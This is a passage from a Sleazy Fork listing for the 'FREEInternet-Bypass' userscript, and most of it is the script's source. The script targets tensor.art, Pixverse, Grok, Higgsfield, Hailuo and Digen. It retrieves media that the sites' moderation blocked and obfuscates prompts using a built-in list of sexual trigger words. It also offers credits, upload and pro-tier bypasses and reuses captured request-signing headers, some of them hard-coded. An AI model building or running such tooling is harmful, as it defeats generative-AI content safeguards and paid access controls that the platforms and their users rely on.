Sleazy Fork is available in English.

FREEInternet-Bypass

Download generations marked as inappropriate, including images and videos. Modern professional UI with draggable panel, tabs, settings, previews, dark/light theme, and configurable network headers.

You will need to install an extension such as Tampermonkey, Greasemonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

// ==UserScript==
// @name         FREEInternet-Bypass
// @version      3.2.0
// @description  Download generations marked as inappropriate, including images and videos. Modern professional UI with draggable panel, tabs, settings, previews, dark/light theme, and configurable network headers.
// @match        https://tensor.art/*
// @match        https://tensor.art
// @match        https://tensorhub.art/*
// @match        https://tensorhub.art
// @match        https://app.pixverse.ai/*
// @match        https://digen.ai/*
// @match        https://www.digen.ai/*
// @match        https://grok.com/*
// @match        https://x.com/*
// @match        https://higgsfield.ai/*
// @match        https://fnf.higgsfield.ai/*
// @match       *://*.hailuoai.video/*
// @match       *://*.hailuoai.com/*
// @connect     hailuoai.video
// @connect     cdn.hailuoai.video
// @connect     api.tensor.art
// @run-at       document-start
// @grant       GM.xmlHttpRequest
// @grant       GM_registerMenuCommand
// @grant       GM.cookie
// @grant        unsafeWindow
// @grant       GM_getValue
// @grant       GM_setValue
// @grant       GM.getValue
// @grant       GM.setValue
// @grant       GM_openInTab
// @namespace https://greasyfork.org/users/1573943
// ==/UserScript==

(function () {
  'use strict';

  // Domain gating: this userscript can @match other sites (e.g., Instagram) for the inject system,
  // but the main Bypass UI and Tensor-specific network watchers should only run on Tensor domains.
  const IS_TENSOR_DOMAIN = /(^|\.)tensor\.art$/i.test(location.hostname) || /(^|\.)tensorhub\.art$/i.test(location.hostname);
  const IS_PIXVERSE_DOMAIN = /^app\.pixverse\.ai$/i.test(location.hostname);
  const IS_DIGEN_DOMAIN = /(^|\.)digen\.ai$/i.test(location.hostname);
  const IS_GROK_DOMAIN = /(^|\.)grok\.com$/i.test(location.hostname) || /(^|\.)x\.com$/i.test(location.hostname);
  const IS_HIGGSFIELD_DOMAIN = /(^|\.)higgsfield\.ai$/i.test(location.hostname);
  const IS_HAILUO_DOMAIN = /(^|\.)hailuoai\.video$/i.test(location.hostname) || /(^|\.)hailuoai\.com$/i.test(location.hostname);
  const showUIOnOtherPlatfrms = false;
  const EXTERNAL_PLATFORM_SETTINGS_STORE_KEY = 'freeBypassExternalPlatformSettingsV1';
  const EXTERNAL_PLATFORM_SHARED_SETTING_KEYS = [
    'showPixverseUi',
    'showGrokUi',
    'showHiggsfieldUi',
    'showHailuoUi',
    'pixverseEnableUiLogs',
    'pixverseMaxLogs',
    'pixverseEnablePromptObfuscation',
    'pixverseEnableCreditsBypass',
    'pixverseEnableUploadBypass',
    'pixverseEnableWatermarkButton',
    'pixverseCaptureMediaLinks',
    'pixverseSensitiveWords',
    'grokEnableUiLogs',
    'grokMaxLogs',
    'grokInterceptorEnabled',
    'grokCaptureMediaLinks',
    'higgsfieldEnableUiLogs',
    'higgsfieldMaxLogs',
    'higgsfieldEnablePromptObfuscation',
    'higgsfieldCaptureJobs',
    'higgsfieldCaptureSouls',
    'higgsfieldAutoRefreshItems',
    'hailuoEnableUiLogs',
    'hailuoMaxLogs',
    'hailuoCaptureMediaLinks',
    'hailuoAutoRefreshItems'
  ];

  // Version tracking
  const SCRIPT_VERSION = '3.2.0';
  const CONFIG_URL = 'https://syncore.mooo.com/host/config/';
  const CONFIG_CACHE_KEY = 'freeBypassRemoteConfig';
  const CONFIG_CACHE_META_KEY = 'freeBypassRemoteConfigMetaV1';
  const CONFIG_CACHE_TTL = 3600000; // 1 hour

  // Inject Font Awesome
  const link = document.createElement('link');
  link.rel = 'stylesheet';
  link.href = 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css';
  document.head.appendChild(link);

  const apiUrlImage = 'https://api.tensor.art/works/v1/generation/image/download';
  // Best-effort video endpoint (some backends use a dedicated path).
  // If it doesn't exist, the resolver will gracefully fall back to the image endpoint.
  const apiUrlVideo = 'https://api.tensor.art/works/v1/generation/video/download';
  const tensorLibraryEntryListUrl = 'https://api.tensor.art/library-web/v1/entry/list';
  // Back-compat alias used by older code paths.
  const apiUrl = apiUrlImage;
  const originalFetch = window.fetch;
  let blockedItems = new Set();
  let itemsData = [];
  let container = null;
  let isExpanded = false;
  let currentTab = 'home';
  let developersSubTab = localStorage.getItem('freeBypassDevelopersSubTab') || 'selectors';
  if (!['inject', 'logs', 'selectors'].includes(developersSubTab)) developersSubTab = 'selectors';
  let autoCheckInterval = null;
  let domInjectInterval = null;
  let domInjectScanCounter = 0;
  const taskMap = new Map();
  const itemMap = new Map();
  const downloadUrlCache = new Map();
  const TASK_CACHE_KEY = 'freeBypassTaskCache';
  const BROKEN_REQUESTS_CACHE_KEY = 'freeBypassBrokenRequestsV1';
  const TASK_ACTIONS_KEY = 'freeBypassTaskActions';
  const TASK_PROFILES_KEY = 'freeBypassTaskProfiles';
  const SHARED_NOTIFICATIONS_STORE_KEY = 'freeBypassSharedNotificationsV1';
  // Services (remote-config-driven app/script hub)
  const SERVICES_STATE_KEY = 'freeBypassServicesStateV1';
  let servicesStateCache = null;
  let uiRenderToken = 0;
  const domInjectDebug = true;
  let isResizing = false;
  let resizeStart = { x: 0, y: 0, width: 0, height: 0 };
  let settingsInjected = false;
  let settingsCheckInterval = null;
  let emptyStateStart = null;
  let uiRefreshTimer = null;
  let profileMenuObserver = null;
  let profileMenuInterval = null;
  const MEDIA_STATUS_KEY = 'freeBypassMediaStatus';
  let mediaStatusCache = null;
  let taskActionsCache = null;
  let taskActionProcessing = false;
  let taskActionQueueWakeTimer = null;
  let activeBlockedTooltip = null;
  let activeInjectedTooltip = null;
  let downloadPreviewCache = { imageId: null, url: null, mimeType: null };
  let selectedItems = new Set();
  let activeContextMenu = null;
  // Remote settings/platform control (populated from remote config)
  let remoteSettingsControl = {}; // settingKey → { locked: bool, note: string }
  let remotePlatformControl = {}; // platform → { enabled: bool }
  let _discordReplaceInterval = null;
  let floatingMenuSuppressUntil = 0;
  let floatingMenuLastContextAt = 0;
  let homeProfileFilter = localStorage.getItem('freeBypassHomeProfileFilter') || '';
  let homeItemsSearchQuery = localStorage.getItem('freeBypassHomeSearchQuery') || '';
  let settingsSearchQuery = localStorage.getItem('freeBypassSettingsSearchQuery') || '';
  const tabScrollPositions = {};
  const tabContentCache = new Map();
  const forcePreviewLoaders = new Map();

  // Shared/Crosee Network Save runtime state
  const SHARED_NETWORK_MAX_LOGS = 800;
  const sharedNetworkLogs = [];
  let sharedNetworkProgress = { visible: false, current: 0, total: 0, label: '' };
  let sharedNetworkHttpStatus = { ok: null, checkedAt: null, error: null, status: null };
  let sharedNetworkWs = null;
  let sharedNetworkWsState = { status: 'disconnected', url: null, lastError: null, lastMessageAt: null };
  let sharedNetworkWsConnectPromise = null;
  let sharedNetworkLastSent = null;
  let sharedNetworkLastSentAt = null;
  let sharedNetworkLastWire = null;
  let sharedNetworkTabRefreshQueued = false;

  // Broken requests cache: loaded once at startup, mutated at runtime, persisted on change.
  // Key: `${url}|${sortedPayloadJson}`  Value: { url, payload, status, cachedAt }
  let brokenRequestsCache = {};
  try {
    brokenRequestsCache = JSON.parse(localStorage.getItem(BROKEN_REQUESTS_CACHE_KEY) || '{}') || {};
  } catch { brokenRequestsCache = {}; }

  const defaultSettings = {
    preview: false,
    autoDownload: false,
    autoExpand: true,
    autoShowPanel: false,
    autoCheck: false,
    autoCheckInterval: 30,
    xhrInterceptEnabled: false,
    autoRecheckLinksOnLoad: false,
    errorDetectionEnabled: false,
    promptBypassEnabled: false,
    communityShareEnabled: false,
    communityShowOnHome: true,
    // Broken Requests Cache
    brokenRequestsCacheEnabled: true,
    brokenRequestsCacheStatusCodes: [405, 403],
    promptBypassWords: [
      'deep', 'throat', 'throats', 'blowjob', 'fellatio', 'fuck', 'fucking', 'pussy', 'cock', 'dick',
      'tits', 'boobs', 'asshole', 'shit', 'suck', 'sucks', 'sucking', 'penis', 'vagina', 'anus', 'breasts',
      'sex', 'intercourse', 'oral', 'anal', 'nsfw', 'nude', 'naked', 'cum', 'creampie', 'orgasm'
    ],
    promptBypassDynamicDetect: true,
    promptBypassDebugZeroCredit: false,
    tensorInterceptEnableUiLogs: true,
    tensorInterceptMaxLogs: 600,
    tensorInjectTelegramButtons: false,
    tensorInjectDiscordButtons: false,
    injectOnDom: false,
    injectBlockedOnly: false,
    safeViewMode: true,
    showVideoModal: false,
    // Announcements (remote config)
    // When false: suppress non-required announcement modals/banners.
    // Required announcements / required updates still show.
    showAnnouncements: true,
    showBlockedTooltip: false,
    showBlockedTooltipPreview: false,
    keepBlockedTooltipOpen: false,
    showInjectedHelpTooltips: false,
    showDownloadPreview: false,
    showBypassedLink: true,
    enableCopyBypassedLinks: false,
    copyInjectOnPage: false,
    showDetailedInfo: true,
    detailedInfoFields: {
      taskId: true,
      dates: true,
      size: true,
      mimeType: true,
      sourceUrl: true,
      workflow: true,
      visualParameters: true,
      parameters: false
    },
    sendAllTasksTelegram: true,
    sendAllTasksDiscord: true,
    sendAllTasksDownload: true,
    preventDuplicateTasks: true,
    inheritTheme: true,
    theme: 'dark',
    viewMode: 'cards',
    cartColumns: 2,
    forceTasksAcrossAccounts: false,
    // Developer mode
    developerModeEnabled: false,
    developerEnableInjectSystem: false,
    developerMaxLogs: 500,
    // Floating panel fullscreen
    fullscreen: false,
    positionBeforeFullscreen: null,
    position: { top: '50px', right: '20px', width: '420px', height: '600px' },
    headers: {
      'X-Request-Package-Sign-Version': '0.0.1',
      'X-Request-Package-Id': '3000',
      'X-Request-Timestamp': '1766394106674',
      'X-Request-Sign': 'NDc3MTZiZDc2MDlhOWJlMTQ1YTMxNjgwYzE4NzljMDRjNTQ3ZTgzMjUyNjk1YTE5YzkzYzdhOGNmYWJiYTI1NA==',
      'X-Request-Lang': 'en-US',
      'X-Request-Sign-Type': 'HMAC_SHA256',
      'X-Request-Sign-Version': 'v1'
    },
    cachingEnabled: true,
    cacheDuration: 7,
    // If a video download resolves to an image payload (thumbnail), retry via video resolver.
    verifyMediaDownloads: true,
    telegramEnabled: false,
    telegramToken: '',
    telegramChatId: '',
    telegramDelaySeconds: 0,
    // Telegram reliability options
    // off: do not upload; fallback: upload only if URL send fails; always: always upload the file
    telegramUploadMode: 'fallback',
    telegramMaxUploadBytes: 45 * 1024 * 1024,
    telegramIncludeData: { taskId: true, date: true, toolName: true, imageSize: true },
    discordEnabled: false,
    discordWebhook: '',
    // Queue retries/backoff (professional sending)
    queueAutoRetry: true,
    queueMaxRetries: 2,
    queueRetryBaseDelayMs: 2000,
    queueRetryMaxDelayMs: 60000,
    queueRetryJitterMs: 350,
    autoTaskDetection: true,
    tensorhubLinkerEnabled: false,
    tensorhubLinkUserTokens: true,
    tensorhubLinkTasks: false,
    tensorhubShareSettings: false,
    runOnTensorHub: false,
    enableTaskProfilesCreation: false,
    taskProfileAddMethod: 'copy',
    // Pixverse
    showPixverseUi: false,
    pixverseEnableUiLogs: true,
    pixverseMaxLogs: 500,
    pixverseEnablePromptObfuscation: true,
    pixverseEnableCreditsBypass: false,
    pixverseEnableUploadBypass: true,
    pixverseEnableWatermarkButton: true,
    pixverseCaptureMediaLinks: true,
    pixverseSensitiveWords: [
      'deep', 'throat', 'throats', 'blowjob', 'fellatio', 'fuck', 'fucking', 'pussy', 'cock', 'dick',
      'tits', 'boobs', 'asshole', 'shit', 'suck', 'sucks', 'sucking', 'penis', 'vagina', 'anus', 'breasts',
      'sex', 'intercourse', 'oral', 'anal', 'nsfw'
    ],
    // Digen
    digenEnableUiLogs: true,
    digenMaxLogs: 500,
    digenEnableProBypass: true,
    digenCaptureItems: true,
    digenAutoRefreshItems: true,
    // Grok
    showGrokUi: false,
    grokEnableUiLogs: true,
    grokMaxLogs: 500,
    grokInterceptorEnabled: true,
    grokCaptureMediaLinks: true,
    // Higgsfield
    showHiggsfieldUi: false,
    higgsfieldEnableUiLogs: true,
    higgsfieldMaxLogs: 500,
    higgsfieldEnablePromptObfuscation: true,
    higgsfieldCaptureJobs: true,
    higgsfieldCaptureSouls: true,
    higgsfieldAutoRefreshItems: true,
    // Hailuo
    showHailuoUi: false,
    hailuoEnableUiLogs: true,
    hailuoMaxLogs: 500,
    hailuoCaptureMediaLinks: true,
    hailuoAutoRefreshItems: true,
    // Shared/Crosee Network Save
    // Safely share/export cached tasks to a trusted host on your network.
    sharedNetworkEnabled: false,
    sharedNetworkHost: 'http://127.0.0.1:8787',
    sharedNetworkMethod: 'http', // http | ws
    sharedNetworkHttpUploadPath: '/shared-network/save',
    sharedNetworkHttpHealthPath: '/shared-network/health',
    sharedNetworkHttpCommandPath: '/shared-network/command',
    sharedNetworkWsUrl: 'ws://127.0.0.1:8787/shared-network/ws',
    sharedNetworkPayloadMode: 'file', // file | text
    sharedNetworkIncludeUserId: true,
    sharedNetworkIncludePageContext: true,
    sharedNetworkIncludeTensorHeaders: false,
    sharedNetworkRemoteControlEnabled: false,
    hiddenItems: JSON.parse(localStorage.getItem('freeBypassHiddenItems') || '[]'),
    noRegainItems: JSON.parse(localStorage.getItem('freeBypassNoRegainItems') || '[]')
  };

  let loadedSettings = JSON.parse(localStorage.getItem('freeBypassSettings')) || {};
  let settings = {
    ...defaultSettings,
    ...loadedSettings,
    headers: { ...defaultSettings.headers, ...(loadedSettings.headers || {}) },
    position: { ...defaultSettings.position, ...(loadedSettings.position || {}) },
    telegramIncludeData: { ...defaultSettings.telegramIncludeData, ...(loadedSettings.telegramIncludeData || {}) },
    detailedInfoFields: { ...defaultSettings.detailedInfoFields, ...(loadedSettings.detailedInfoFields || {}) }
  };
  // Backfill new settings if old storage doesn't have them.
  if (typeof settings.developerModeEnabled !== 'boolean') settings.developerModeEnabled = defaultSettings.developerModeEnabled;
  if (typeof settings.developerEnableInjectSystem !== 'boolean') settings.developerEnableInjectSystem = defaultSettings.developerEnableInjectSystem;
  if (typeof settings.developerMaxLogs !== 'number' || !Number.isFinite(settings.developerMaxLogs) || settings.developerMaxLogs < 50) settings.developerMaxLogs = defaultSettings.developerMaxLogs;
  if (typeof settings.fullscreen !== 'boolean') settings.fullscreen = defaultSettings.fullscreen;
  if (typeof settings.positionBeforeFullscreen !== 'object') settings.positionBeforeFullscreen = defaultSettings.positionBeforeFullscreen;
  if (typeof settings.verifyMediaDownloads !== 'boolean') settings.verifyMediaDownloads = defaultSettings.verifyMediaDownloads;
  if (typeof settings.showAnnouncements !== 'boolean') settings.showAnnouncements = defaultSettings.showAnnouncements;
  if (!['off', 'fallback', 'always'].includes(settings.telegramUploadMode)) settings.telegramUploadMode = defaultSettings.telegramUploadMode;
  if (typeof settings.telegramMaxUploadBytes !== 'number' || !Number.isFinite(settings.telegramMaxUploadBytes) || settings.telegramMaxUploadBytes < 1024 * 1024) settings.telegramMaxUploadBytes = defaultSettings.telegramMaxUploadBytes;
  if (typeof settings.queueAutoRetry !== 'boolean') settings.queueAutoRetry = defaultSettings.queueAutoRetry;
  if (typeof settings.queueMaxRetries !== 'number' || !Number.isFinite(settings.queueMaxRetries) || settings.queueMaxRetries < 0) settings.queueMaxRetries = defaultSettings.queueMaxRetries;
  if (typeof settings.queueRetryBaseDelayMs !== 'number' || !Number.isFinite(settings.queueRetryBaseDelayMs) || settings.queueRetryBaseDelayMs < 0) settings.queueRetryBaseDelayMs = defaultSettings.queueRetryBaseDelayMs;
  if (typeof settings.queueRetryMaxDelayMs !== 'number' || !Number.isFinite(settings.queueRetryMaxDelayMs) || settings.queueRetryMaxDelayMs < 0) settings.queueRetryMaxDelayMs = defaultSettings.queueRetryMaxDelayMs;
  if (typeof settings.queueRetryJitterMs !== 'number' || !Number.isFinite(settings.queueRetryJitterMs) || settings.queueRetryJitterMs < 0) settings.queueRetryJitterMs = defaultSettings.queueRetryJitterMs;
  if (typeof settings.sharedNetworkEnabled !== 'boolean') settings.sharedNetworkEnabled = defaultSettings.sharedNetworkEnabled;
  if (typeof settings.sharedNetworkHost !== 'string' || !settings.sharedNetworkHost.trim()) settings.sharedNetworkHost = defaultSettings.sharedNetworkHost;
  if (!['http', 'ws'].includes(settings.sharedNetworkMethod)) settings.sharedNetworkMethod = defaultSettings.sharedNetworkMethod;
  if (typeof settings.sharedNetworkHttpUploadPath !== 'string' || !settings.sharedNetworkHttpUploadPath.trim()) settings.sharedNetworkHttpUploadPath = defaultSettings.sharedNetworkHttpUploadPath;
  if (typeof settings.sharedNetworkHttpHealthPath !== 'string' || !settings.sharedNetworkHttpHealthPath.trim()) settings.sharedNetworkHttpHealthPath = defaultSettings.sharedNetworkHttpHealthPath;
  if (typeof settings.sharedNetworkHttpCommandPath !== 'string' || !settings.sharedNetworkHttpCommandPath.trim()) settings.sharedNetworkHttpCommandPath = defaultSettings.sharedNetworkHttpCommandPath;
  if (typeof settings.sharedNetworkWsUrl !== 'string' || !settings.sharedNetworkWsUrl.trim()) settings.sharedNetworkWsUrl = defaultSettings.sharedNetworkWsUrl;
  if (!['file', 'text'].includes(settings.sharedNetworkPayloadMode)) settings.sharedNetworkPayloadMode = defaultSettings.sharedNetworkPayloadMode;
  if (typeof settings.sharedNetworkIncludeUserId !== 'boolean') settings.sharedNetworkIncludeUserId = defaultSettings.sharedNetworkIncludeUserId;
  if (typeof settings.sharedNetworkIncludePageContext !== 'boolean') settings.sharedNetworkIncludePageContext = defaultSettings.sharedNetworkIncludePageContext;
  if (typeof settings.sharedNetworkIncludeTensorHeaders !== 'boolean') settings.sharedNetworkIncludeTensorHeaders = defaultSettings.sharedNetworkIncludeTensorHeaders;
  if (typeof settings.sharedNetworkRemoteControlEnabled !== 'boolean') settings.sharedNetworkRemoteControlEnabled = defaultSettings.sharedNetworkRemoteControlEnabled;
  if (typeof settings.showPixverseUi !== 'boolean') settings.showPixverseUi = defaultSettings.showPixverseUi;
  if (typeof settings.pixverseEnableUiLogs !== 'boolean') settings.pixverseEnableUiLogs = defaultSettings.pixverseEnableUiLogs;
  if (typeof settings.pixverseEnablePromptObfuscation !== 'boolean') settings.pixverseEnablePromptObfuscation = defaultSettings.pixverseEnablePromptObfuscation;
  if (typeof settings.pixverseEnableCreditsBypass !== 'boolean') settings.pixverseEnableCreditsBypass = defaultSettings.pixverseEnableCreditsBypass;
  if (typeof settings.pixverseEnableUploadBypass !== 'boolean') settings.pixverseEnableUploadBypass = defaultSettings.pixverseEnableUploadBypass;
  if (typeof settings.pixverseEnableWatermarkButton !== 'boolean') settings.pixverseEnableWatermarkButton = defaultSettings.pixverseEnableWatermarkButton;
  if (typeof settings.pixverseCaptureMediaLinks !== 'boolean') settings.pixverseCaptureMediaLinks = defaultSettings.pixverseCaptureMediaLinks;
  if (typeof settings.pixverseMaxLogs !== 'number' || !Number.isFinite(settings.pixverseMaxLogs) || settings.pixverseMaxLogs < 50) settings.pixverseMaxLogs = defaultSettings.pixverseMaxLogs;
  if (!Array.isArray(settings.pixverseSensitiveWords)) settings.pixverseSensitiveWords = [...defaultSettings.pixverseSensitiveWords];
  settings.pixverseSensitiveWords = settings.pixverseSensitiveWords.map(v => String(v || '').trim()).filter(Boolean);
  if (typeof settings.digenEnableUiLogs !== 'boolean') settings.digenEnableUiLogs = defaultSettings.digenEnableUiLogs;
  if (typeof settings.digenEnableProBypass !== 'boolean') settings.digenEnableProBypass = defaultSettings.digenEnableProBypass;
  if (typeof settings.digenCaptureItems !== 'boolean') settings.digenCaptureItems = defaultSettings.digenCaptureItems;
  if (typeof settings.digenAutoRefreshItems !== 'boolean') settings.digenAutoRefreshItems = defaultSettings.digenAutoRefreshItems;
  if (typeof settings.digenMaxLogs !== 'number' || !Number.isFinite(settings.digenMaxLogs) || settings.digenMaxLogs < 50) settings.digenMaxLogs = defaultSettings.digenMaxLogs;
  if (typeof settings.showGrokUi !== 'boolean') settings.showGrokUi = defaultSettings.showGrokUi;
  if (typeof settings.grokEnableUiLogs !== 'boolean') settings.grokEnableUiLogs = defaultSettings.grokEnableUiLogs;
  if (typeof settings.grokInterceptorEnabled !== 'boolean') settings.grokInterceptorEnabled = defaultSettings.grokInterceptorEnabled;
  if (typeof settings.grokCaptureMediaLinks !== 'boolean') settings.grokCaptureMediaLinks = defaultSettings.grokCaptureMediaLinks;
  if (typeof settings.grokMaxLogs !== 'number' || !Number.isFinite(settings.grokMaxLogs) || settings.grokMaxLogs < 50) settings.grokMaxLogs = defaultSettings.grokMaxLogs;
  if (typeof settings.showHiggsfieldUi !== 'boolean') settings.showHiggsfieldUi = defaultSettings.showHiggsfieldUi;
  if (typeof settings.higgsfieldEnableUiLogs !== 'boolean') settings.higgsfieldEnableUiLogs = defaultSettings.higgsfieldEnableUiLogs;
  if (typeof settings.higgsfieldEnablePromptObfuscation !== 'boolean') settings.higgsfieldEnablePromptObfuscation = defaultSettings.higgsfieldEnablePromptObfuscation;
  if (typeof settings.higgsfieldCaptureJobs !== 'boolean') settings.higgsfieldCaptureJobs = defaultSettings.higgsfieldCaptureJobs;
  if (typeof settings.higgsfieldCaptureSouls !== 'boolean') settings.higgsfieldCaptureSouls = defaultSettings.higgsfieldCaptureSouls;
  if (typeof settings.higgsfieldAutoRefreshItems !== 'boolean') settings.higgsfieldAutoRefreshItems = defaultSettings.higgsfieldAutoRefreshItems;
  if (typeof settings.higgsfieldMaxLogs !== 'number' || !Number.isFinite(settings.higgsfieldMaxLogs) || settings.higgsfieldMaxLogs < 50) settings.higgsfieldMaxLogs = defaultSettings.higgsfieldMaxLogs;
  if (typeof settings.showHailuoUi !== 'boolean') settings.showHailuoUi = defaultSettings.showHailuoUi;
  if (typeof settings.hailuoEnableUiLogs !== 'boolean') settings.hailuoEnableUiLogs = defaultSettings.hailuoEnableUiLogs;
  if (typeof settings.hailuoCaptureMediaLinks !== 'boolean') settings.hailuoCaptureMediaLinks = defaultSettings.hailuoCaptureMediaLinks;
  if (typeof settings.hailuoAutoRefreshItems !== 'boolean') settings.hailuoAutoRefreshItems = defaultSettings.hailuoAutoRefreshItems;
  if (typeof settings.hailuoMaxLogs !== 'number' || !Number.isFinite(settings.hailuoMaxLogs) || settings.hailuoMaxLogs < 50) settings.hailuoMaxLogs = defaultSettings.hailuoMaxLogs;
  if (typeof settings.xhrInterceptEnabled !== 'boolean') settings.xhrInterceptEnabled = defaultSettings.xhrInterceptEnabled;
  if (typeof settings.autoRecheckLinksOnLoad !== 'boolean') settings.autoRecheckLinksOnLoad = defaultSettings.autoRecheckLinksOnLoad;
  if (typeof settings.errorDetectionEnabled !== 'boolean') settings.errorDetectionEnabled = defaultSettings.errorDetectionEnabled;
  if (typeof settings.promptBypassEnabled !== 'boolean') settings.promptBypassEnabled = defaultSettings.promptBypassEnabled;
  if (typeof settings.communityShareEnabled !== 'boolean') settings.communityShareEnabled = defaultSettings.communityShareEnabled;
  if (typeof settings.communityShowOnHome !== 'boolean') settings.communityShowOnHome = defaultSettings.communityShowOnHome;
  if (typeof settings.brokenRequestsCacheEnabled !== 'boolean') settings.brokenRequestsCacheEnabled = defaultSettings.brokenRequestsCacheEnabled;
  if (!Array.isArray(settings.brokenRequestsCacheStatusCodes)) settings.brokenRequestsCacheStatusCodes = [...defaultSettings.brokenRequestsCacheStatusCodes];
  settings.brokenRequestsCacheStatusCodes = settings.brokenRequestsCacheStatusCodes.map(v => Number(v)).filter(v => Number.isFinite(v) && v > 0);
  if (!Array.isArray(settings.promptBypassWords)) settings.promptBypassWords = [...defaultSettings.promptBypassWords];
  settings.promptBypassWords = settings.promptBypassWords.map(v => String(v || '').trim().toLowerCase()).filter(Boolean);
  if (typeof settings.promptBypassDynamicDetect !== 'boolean') settings.promptBypassDynamicDetect = defaultSettings.promptBypassDynamicDetect;
  if (typeof settings.promptBypassDebugZeroCredit !== 'boolean') settings.promptBypassDebugZeroCredit = defaultSettings.promptBypassDebugZeroCredit;
  if (typeof settings.tensorInterceptEnableUiLogs !== 'boolean') settings.tensorInterceptEnableUiLogs = defaultSettings.tensorInterceptEnableUiLogs;
  if (typeof settings.tensorInterceptMaxLogs !== 'number' || !Number.isFinite(settings.tensorInterceptMaxLogs) || settings.tensorInterceptMaxLogs < 50) settings.tensorInterceptMaxLogs = defaultSettings.tensorInterceptMaxLogs;
  if (typeof settings.tensorInjectTelegramButtons !== 'boolean') settings.tensorInjectTelegramButtons = defaultSettings.tensorInjectTelegramButtons;
  if (typeof settings.tensorInjectDiscordButtons !== 'boolean') settings.tensorInjectDiscordButtons = defaultSettings.tensorInjectDiscordButtons;
  if (typeof settings.injectBlockedOnly !== 'boolean') settings.injectBlockedOnly = defaultSettings.injectBlockedOnly;
  if (typeof settings.autoShowPanel !== 'boolean') {
    settings.autoShowPanel = typeof settings.autoExpand === 'boolean' ? settings.autoExpand : defaultSettings.autoShowPanel;
  }
  if (settings.xhrInterceptEnabled) {
    settings.injectOnDom = false;
    settings.safeViewMode = false;
  }
  if (settings.safeViewMode && settings.injectOnDom) {
    settings.injectOnDom = false;
  }

  if (IS_TENSOR_DOMAIN) {
    try {
      initTensorSiteRequestListeners();
    } catch {
      // ignore early init failures; the guarded late init still runs as fallback
    }
  }

  loadSharedExternalPlatformSettings();

  // Cross-domain settings sync for notifications (Tensor/Pixverse/Digen).
  // This uses userscript global storage so values are not tied to site localStorage origin.
  bootstrapSharedNotificationSettings();

  let userToken = null;
  // Fresh X-Request-* signing headers observed from the site's own API calls.
  // Updated on every intercepted fetch so GM.xmlHttpRequest can use current signatures.
  let lastObservedTensorSigningHeaders = null;
  // Fresh X-Request-* signing headers cached per API endpoint path.
  // Key = path segment after api.tensor.art/ e.g. 'library-web/v1/entry/list'.
  // Signature covers the full URL, so reusing headers from a DIFFERENT endpoint
  // will always fail (405 SYSTEM.FAIL). Per-path caching solves this.
  const tensorSigningHeadersByPath = {};
  const TENSOR_SIGNING_HEADER_TTL = 4 * 60 * 1000; // 4 minutes
  // IDs added to library automatically during warmup clicks, so we can clean them up later.
  const tensorWarmupCreatedIds = [];
  // ── Library Assign Feature state ─────────────────────────────────────────
  // Callback invoked with imageId when the page XHR intercept catches entry/create.
  let _libraryAssignPendingCallback = null;
  // Window reference for the open tensor.art/library tab (for focus + reload).
  let _libraryTabRef = null;
  // Set of imageIds confirmed-added to library via our pluscircle click feature.
  const _libraryAssignedIds = new Set();
  // Library entry data from entry/list responses.  generationImageId == entry id (confirmed).
  const tensorLibraryEntryMap = {};      // entryId -> full entry object
  // The original (pre-obfuscation) works/task request body — used for auto-retry tiers.
  let _pbtLastOriginalBody = null;
  const tensorLibraryPathToEntryId = {}; // originalPath -> entryId (for DOM card matching)
  // BroadcastChannel so warmup tabs can send captured headers back to the calling tab.
  const TENSOR_WARMUP_BC_NAME = 'freeinternet_tensor_warmup_v1';
  let tensorWarmupBC = null;
  try { tensorWarmupBC = new BroadcastChannel(TENSOR_WARMUP_BC_NAME); } catch { /* not available (e.g. non-browser) */ }
  if (tensorWarmupBC) {
    tensorWarmupBC.onmessage = function(ev) {
      try {
        const d = ev && ev.data;
        if (d && d.type === 'headers_captured' && d.path && d.headers) {
          tensorSigningHeadersByPath[d.path] = { headers: d.headers, ts: d.ts || Date.now() };
          // If the warmup tab also sent the imageId it added, remember it for cleanup.
          if (d.path === 'library-web/v1/entry/create' && d.imageId &&
              !tensorWarmupCreatedIds.includes(d.imageId)) {
            tensorWarmupCreatedIds.push(d.imageId);
            // Mirror into the page-exposed array (accessible in DevTools)
            try {
              const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
              if (pw.tensorWarmupCreatedIds && !pw.tensorWarmupCreatedIds.includes(d.imageId))
                pw.tensorWarmupCreatedIds.push(d.imageId);
            } catch { /* ignore */ }
            tensorInterceptLog('info', 'Warmup: stored imageId added to library for later cleanup', { imageId: d.imageId, total: tensorWarmupCreatedIds.length });
          }
        }
      } catch { /* ignore */ }
    };
  }
  /**
   * Ensure fresh signing headers are cached for `path`.
   * If headers are stale, opens a background tensor.art tab that auto-captures
   * the headers, then resolves once the BroadcastChannel delivers them.
   * @param {'library-web/v1/entry/list'|'library-web/v1/entry/create'} path
   * @returns {Promise<{ok:boolean, headers:object|null, cached:boolean, reason?:string}>}
   */
  async function ensureTensorSigningHeaders(path) {
    const entry = tensorSigningHeadersByPath[path];
    if (entry && (Date.now() - entry.ts) < TENSOR_SIGNING_HEADER_TTL) {
      return { ok: true, headers: entry.headers, cached: true };
    }
    return new Promise((resolve) => {
      let newTab = null;
      // create: 3 attempts × 22 s each + 3 s initial delay + 3 s between retries ≈ 75 s max
      const TIMEOUT_MS = path === 'library-web/v1/entry/create' ? 75000 : 12000;
      const timer = setTimeout(() => cleanup(false, 'timeout'), TIMEOUT_MS);
      const onBC = (ev) => {
        try {
          const d = ev && ev.data;
          if (d && d.type === 'headers_captured' && d.path === path) {
            cleanup(true);
          }
        } catch { /* ignore */ }
      };
      const cleanup = (ok, reason) => {
        clearTimeout(timer);
        if (tensorWarmupBC) tensorWarmupBC.removeEventListener('message', onBC);
        try { if (newTab && typeof newTab.close === 'function') newTab.close(); } catch { /* ignore */ }
        const fresh = tensorSigningHeadersByPath[path];
        resolve({ ok: !!ok, headers: ok && fresh ? fresh.headers : null, cached: false, reason: reason || undefined });
      };
      if (tensorWarmupBC) tensorWarmupBC.addEventListener('message', onBC);
      try {
        const hash = path === 'library-web/v1/entry/create'
